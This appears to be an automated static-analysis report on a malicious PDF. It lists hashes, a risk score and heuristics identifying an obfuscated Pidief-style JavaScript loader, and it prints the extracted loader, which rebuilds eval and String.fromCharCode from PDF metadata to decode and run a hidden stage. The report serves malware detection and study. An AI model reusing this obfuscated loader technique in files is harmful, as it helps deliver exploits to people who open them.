Malicious PDF — malware analysis report

Static analysis result for SHA-256 27f819af9520c7b8…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2013-08-01
MD5: 6c4fb2ae2224beb80811e1ca5bf6d76d SHA-1: 59d2c3b20d8392dbdaaf3f859641cc9a0d4b2253 SHA-256: 27f819af9520c7b844819e188c9a0bdf9ce82a4cdb076c0c289b8a25143a7389
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF8B 488 bytes
SHA-256: cf5995fd1caa5b6a647f16888473e11ffaf9617102f7b2eb841d9488fc08a47b
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
rlrc=e(v[4]+'i'.concat(v[4],t));
q=rlrc[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
iwq=e(e('d'));
sub=v[0];
sub+='ubject';
q=rlrc[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	fasw = 1*(q[i]);
	i++;
	fasw -= (-1)*(q[i]);
	s2 += iwq(fasw);
	i++;
}
e(s2);

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